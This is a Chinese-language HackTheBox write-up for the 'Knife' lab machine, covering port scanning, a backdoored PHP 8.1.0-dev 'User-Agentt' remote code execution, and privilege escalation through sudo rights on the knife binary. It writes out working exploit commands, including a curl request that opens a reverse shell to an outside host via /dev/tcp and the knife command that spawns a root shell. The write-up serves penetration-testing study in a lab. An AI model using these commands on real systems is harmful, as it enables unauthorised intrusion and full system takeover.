> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/knife-hackthebox-writeup.md).

# Knife HackTheBox 解题报告

{% embed url="<https://app.hackthebox.com/machines/347>" %}

{% hint style="warning" %}
技能：

* PHP 8.1.0-dev - 'User-Agent' 远程代码执行（RCE）
* 滥用 Sudoers 权限（Knife 二进制文件）（权限提升）
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/11d9be316da11600bb6412aa7555ec7c2721de2a" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/ee3c2c5639830bac178d42f7c9d0df4ef81290d8" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件：

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.10.242 -oG allPorts
```

<figure><img src="/files/d4c1c6e470b409a4d2fe6cfd56ad2e09e6329ad6" alt=""><figcaption></figcaption></figure>

**使用 extractPorts 分析开放端口：**

使用 extractPorts 函数以简洁格式显示开放端口并将其复制到剪贴板（22.80）

<figure><img src="/files/0c00e8a2fd816b9d93ae708f9c605b0d8d076eaa" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 进行端口版本扫描：**

使用 Nmap 扫描服务版本，并将输出保存到 "targeted" 文件中：

```bash
nmap -sCV 10.10.10.242 -oN targeted
```

<figure><img src="/files/06012fa22f4103e55177acb242b4b5626fc41a26" alt=""><figcaption></figcaption></figure>

### 端口 80 - HTTP

<figure><img src="/files/8ded03b25712022d5cf0658bb4963f6ac668561f" alt=""><figcaption></figcaption></figure>

通过 **WhatWeb** 通过该工具，我们识别出一个存在漏洞的 PHP 版本：

```bash
whatweb http://10.10.10.242
# 结果：PHP 8.1.0-dev
```

<div data-full-width="true"><figure><img src="/files/f89d28ebbd5a80464213a35add79fd8740340f56" alt=""><figcaption></figcaption></figure></div>

## **利用 - 通过 `User-Agent`**

识别出此版本与 PHP User-Agent 相关的一个漏洞。

{% embed url="<https://www.exploit-db.com/exploits/49933>" %}

其中一个漏洞在 `User-Agent` 允许远程代码执行。

1. **简单命令执行**/ 发送一个修改后的 HTTP 请求： `User-Agent`:

```bash
curl -s -X GET http://10.10.10.242 -H "User-Agentt: zerodiumsystem('id');"
```

结果：用户组 `james` 出现在响应中。

<figure><img src="/files/c7564c4014424ec9eea3535396da72de29f0f173" alt=""><figcaption></figcaption></figure>

2. **已获得反向 Shell**/ 在你的机器上配置一个监听器：

```bash
nc -nvlp 443
```

然后发送命令以执行反向 shell：

```bash
curl -s -X GET http://10.10.10.242 -H "User-Agentt: zerodiumsystem('bash -c /"bash -i >& /dev/tcp/10.10.14.26/443 0>&1/"');"
```

<figure><img src="/files/3630ed3d82658e15de0c0ea06aa6d564aee89c0e" alt=""><figcaption></figcaption></figure>

3. **改善 shell 体验**/ 让终端更具交互性：

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### User.txt 标志

<figure><img src="/files/9d87f4319742cf452c3ce0038bc92df33149416e" alt=""><figcaption></figcaption></figure>

## 权限提升

**Sudo 权限分析**

通过运行 `sudo -l`，我们观察到该用户可以运行 `knife` 以 root 身份运行该二进制文件：

<div data-full-width="true"><figure><img src="/files/475a6f8f1a2e6e0aac7366eac6f5b75bc1763d1c" alt=""><figcaption></figcaption></figure></div>

GTFOBins 上提到该二进制文件可用于权限提升。

{% embed url="<https://gtfobins.github.io/gtfobins/knife/#sudo>" %}

<figure><img src="/files/7aaf240668d96c1275a3d6763e33e0dbaff68f54" alt=""><figcaption></figcaption></figure>

**利用**

使用上述命令获取 root shell。

```bash
sudo /usr/bin/knife exec -E 'exec "/bin/sh"'
```

<figure><img src="/files/5d8c0f89ac32c39dfb6c6a10c7bef17f8812f4ca" alt=""><figcaption></figcaption></figure>

### root.txt flag :)

<figure><img src="/files/682cd054b9674d3a89209a1d74e420871e88c121" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/90f9b906323b85f14da933bb1be6eb49a44801dd" alt="" width="518"><figcaption></figcaption></figure>


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